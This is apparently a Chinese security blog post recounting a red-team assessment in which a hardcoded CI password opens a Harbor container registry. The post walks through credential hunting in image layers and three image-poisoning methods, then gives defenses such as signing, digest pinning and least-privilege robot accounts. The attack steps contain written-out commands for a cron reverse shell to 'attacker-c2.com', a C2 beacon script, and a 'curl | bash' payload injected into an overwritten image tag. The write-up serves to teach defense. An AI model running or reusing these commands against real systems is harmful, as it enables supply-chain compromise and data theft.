一个未授权的Harbor,我拿到了整条生产线的容器镜像:云上供应链攻击实战

云安全攻防实战系列 · 第2篇
上一篇我们聊了云IAM权限滥用的横向移动,这次换个方向——不讲如何逃逸,不讲怎么打IAM,今天聊一条大多数安全团队容易忽视的攻击面:容器镜像供应链

去年年底,我给某电商平台做了一次红队评估。

目标很硬:外网只有几个API端点,全站HTTPS,WAF配置到位,主机安全Agent全覆盖,内网分了大大小小二十几个VPC,还有云防火墙——看起来该做的都做了。

但我在他们的GitLab里翻到了一个不起眼的.gitlab-ci.yml文件,里面硬编码了一个Harbor仓库的密码。

这条密码成为撬动整个生产环境的支点。

一、为什么镜像仓库是攻击者的金矿

很多团队把精力放在K8s集群本身的加固上——RBAC配了,Pod安全策略设了,网络策略限制了。但很少有人想过一个问题:

你跑在集群里的每一个镜像,在运行之前都经过了多少人的手?

一个典型的云原生部署链路是这样的:

开发者 → Git仓库 → CI/CD流水线 → 镜像仓库 → K8s集群 → 生产环境

绝大多数安全团队在"K8s集群"这个环节布下了重兵,但在"镜像仓库"到"K8s集群"这一段,防御几乎是真空的。

攻击者一旦拿下了镜像仓库,能干的事远不止偷代码这么简单:

攻击手法描述危害级别镜像源码窃取下载所有镜像层,提取业务代码和配置⭐⭐⭐
硬编码凭证挖掘在镜像层中翻找数据库密码、API Key⭐⭐⭐⭐
后门注入在合法镜像中植入后门,重新推送到仓库⭐⭐⭐⭐⭐
供应链投毒修改基础镜像,向下游所有服务投毒⭐⭐⭐⭐⭐
标签篡改覆盖覆盖已有标签,让生产环境拉取恶意版本⭐⭐⭐⭐⭐

最可怕的是最后两种——不需要你主动拉取恶意镜像,正常拉取的动作本身就是攻击链的一部分。

二、发现并利用未授权的Harbor实例

第一步:从CI文件找到入口

回到那次评估。GitLab上翻CI配置是我的常规操作,通常能在环境变量或配置文件里找到各种惊喜。

# .gitlab-ci.yml 片段
build-image:
  stage: build
  script:
    - docker login harbor.internal.company.com -u ci_robot -p 'Harbor12345'
    - docker build -t harbor.internal.company.com/production/app:$CI_COMMIT_SHA .
    - docker push harbor.internal.company.com/production/app:$CI_COMMIT_SHA

明文密码 Harbor12345,用户名 ci_robot——真就一点没藏着。

第二步:探测仓库权限

拿到凭证后,我先不急着下载,而是先看看这个 ci_robot 账号到底有多大权限。

# 查看仓库列表
curl -s -u "ci_robot:Harbor12345" \
  "https://harbor.internal.company.com/api/v2.0/projects" | jq .

# 输出显示该账号对 production、staging、base-images 三个项目有 push/pull 权限

很好,不是只读的robot账号,居然有push权限。这种配置错误非常典型——CI用的robot账号为了"方便调试",给了远超所需的最小权限。

我接下来用Skopeo列出所有可访问的镜像:

# 用 skopeo 列出仓库内容(比docker CLI更灵活)
skopeo list-tags \
  --tls-verify=false \
  --creds ci_robot:Harbor12345 \
  docker://harbor.internal.company.com/production

# 输出显示有 40+ 个镜像标签
# 包括 app:latest, app:v2.3.1, gateway:latest, user-service:1.0.0 ...

第三步:翻找硬编码凭证

第一个目标:app:latest——这是生产环境当前运行的版本。

# 拉取并解包镜像层
skopeo copy \
  --tls-verify=false \
  --creds ci_robot:Harbor12345 \
  docker://harbor.internal.company.com/production/app:latest \
  docker-archive:./app-latest.tar

# 解压查看每一层
mkdir app-layers && cd app-layers
tar xf ../app-latest.tar
for layer in *.tar; do
  echo "=== 检查层: $layer ==="
  tar tf "$layer" | grep -iE '(password|secret|key|token|credential|\.env|config\.)'
done

结果在不到30秒内,我找到了三组硬编码凭证:

  • application.yml 里明文写的RDS连接密码(生产库)
  • .env 文件里的阿里云AccessKey和SecretKey
  • redis.conf 里的Redis密码(这台Redis居然没有IP白名单)
很多开发者觉得"镜像只存在我们仓库里,别人看不到"——这种想法本身就是最大的漏洞。

三、从凭据窃取到供应链投毒

拿到RDS密码后,按传统路径我直接登录数据库就完事了。但这次我还有一个更大胆的计划——供应链投毒

方案A:直接在基础镜像中埋后门

查看 base-images 项目,这是一个存放所有基础镜像的仓库,包括 openjdk:11-jre-slim-customnginx-custompython:3.9-slim-custom 等。

# 查看 base-images 项目中的镜像
curl -s -u "ci_robot:Harbor12345" \
  "https://harbor.internal.company.com/api/v2.0/projects/base-images/repositories" | jq -r '.[].name'

这些自定义基础镜像被production目录下至少一半的服务引用。如果我替换其中一个:

# 原始基础镜像 dockerfile
FROM openjdk:11-jre-slim
RUN apt-get update && apt-get install -y curl

# 后门版本:植入反向Shell
FROM openjdk:11-jre-slim
RUN apt-get update && apt-get install -y curl
# 添加一个定期执行的反向连接任务
RUN echo "*/5 * * * * root bash -c 'exec bash -i &>/dev/tcp/attacker-c2.com/4444<&1'" > /etc/cron.d/evil

但是这个方案有个问题——重新打tag覆盖会触发Harbor的webhook通知,如果对方配置了镜像扫描或审计告警,很容易被发现。

方案B:利用镜像标签覆盖(更隐蔽)

我选择了更隐蔽的做法:不修改镜像内容,而是直接利用CI流程的缺陷触发重新构建

研究了一下他们的CI流水线,发现 latest 标签并不是通过Git Tag触发的,而是每次main分支有新的合并请求,CI都会重新构建并推送 latest 标签

这意味着,我只需要在GitLab上提一个看似无害的MR,在里面加一段"合法"的构建脚本,就能让CI自动把带着后门的镜像推送到生产仓库。

# 看起来人畜无害的代码改动:增加一个监控脚本
# 实际作用是:在容器启动时向C2服务器报告存活状态

# 在 Dockerfile 中添加
COPY monitor.sh /usr/local/bin/
RUN chmod +x /usr/local/bin/monitor.sh
# monitor.sh 实际内容:curl http://c2-server/beacon?pod=$(hostname)

方案C:直接篡改已存在的镜像(最激进)

Harbor默认不启用镜像签名验证(Notary/Distribution)。我可以用 docker push 直接覆盖已存在的镜像标签:

# 拉取生产镜像
docker pull harbor.internal.company.com/production/gateway:v3.1.2

# 在本地做修改——注入反弹shell
docker commit --change='ENTRYPOINT ["/bin/bash", "-c", "curl http://c2/payload | bash &; exec /entrypoint.sh"]' \
  $(docker run -d gateway:v3.1.2 sleep 1) \
  harbor.internal.company.com/production/gateway:v3.1.2-trojaned

# 推送并覆盖原标签
docker push harbor.internal.company.com/production/gateway:v3.1.2-trojaned

# 重新打标签为原始版本号
docker tag harbor.internal.company.com/production/gateway:v3.1.2-trojaned \
  harbor.internal.company.com/production/gateway:v3.1.2

# 强制推送覆盖
docker push harbor.internal.company.com/production/gateway:v3.1.2

这种方式最致命——下次Pod滚动更新或重建时,K8s会自动拉取被篡改的"v3.1.2"镜像。没有镜像摘要(Pinning by digest)的环境,根本无法察觉到变化。

四、防御方案:你不能相信你不知道的东西

事情做完了,回到蓝军视角。如果我是被攻击的一方,该怎么防?

1. 启用镜像签名验证

Harbor支持Cosign和Notation集成,K8s侧可以用 admission controller 校验签名:

# 使用 Cosign 对镜像签名
COSIGN_PASSWORD=xxx cosign sign \
  --key cosign.key \
  harbor.internal.company.com/production/app:v3.1.2

# 在K8s中验证
apiVersion: cosigned.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
  name: image-signature-policy
spec:
  images:
  - glob: "harbor.internal.company.com/production/*"
  authorities:
  - key:
      data: |
        -----BEGIN PUBLIC KEY-----
        ...

2. CI Robot账号遵循最小权限原则

# Harbor API:创建项目级别的只读 robot 账号
curl -X POST "https://harbor.internal.company.com/api/v2.0/robots" \
  -u "admin:password" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "build-pull-only",
    "duration": -1,
    "level": "project",
    "permissions": [{
      "kind": "project",
      "namespace": "production",
      "access": [
        {"resource": "repository", "action": "pull"},
        {"resource": "artifact", "action": "read"}
      ]
    }]
  }'

3. 镜像拉取使用Digest而非标签

这是最有效也最简单的防御——不要在Deployment里使用 :latest:v3.1.2 这种可变标签,改用不可变的镜像摘要:

# ❌ 危险的做法
image: harbor.internal.company.com/production/app:latest

# ✅ 安全的做法
image: harbor.internal.company.com/production/app@sha256:a1b2c3d4e5f6...

4. 启用镜像漏洞扫描和策略拦截

Harbor内置了Trivy扫描器,可以配置扫描策略——发现Critical漏洞时阻止部署:

# Harbor API:配置扫描策略
curl -X PUT "https://harbor.internal.company.com/api/v2.0/projects/production" \
  -u "admin:password" \
  -H "Content-Type: application/json" \
  -d '{
    "auto_scan": true,
    "scan_policy": {
      "severity_threshold": "high",
      "block_on_vul": true
    }
  }'

5. 审计与告警

Harbor的审计日志记录了每一次push和pull操作。配置实时告警,当以下情况发生时立即通知安全团队:

  • 已有镜像标签被覆盖/重写
  • 非工作时间的大批量镜像拉取
  • 来自未授权IP的镜像push操作

写在最后

这次评估最终以红队获胜告终——我们在不用打任何API漏洞的情况下,通过镜像供应链进入了对方的生产网络。对方的安全负责人看到报告后沉默了很久,说了一句让我印象很深的话:

"我们花了几百万加固集群,结果一个CI脚本里的明文密码全给废了。"

容器安全不只是K8s集群本身的安全,也不是每个工作负载里跑个Agent就完事了。从代码提交到镜像部署的整条供应链,每一环都可能是突破口。 你的容器是最安全还是最脆弱,取决于你信任了多少不应该被信任的东西。


 

关注「安全值班室」公众号

每天实战攻防案例 + 安全干货

关注安全值班室

posted on 2026-06-30 08:25  明.Sir  阅读(9)  评论(0)    收藏  举报

导航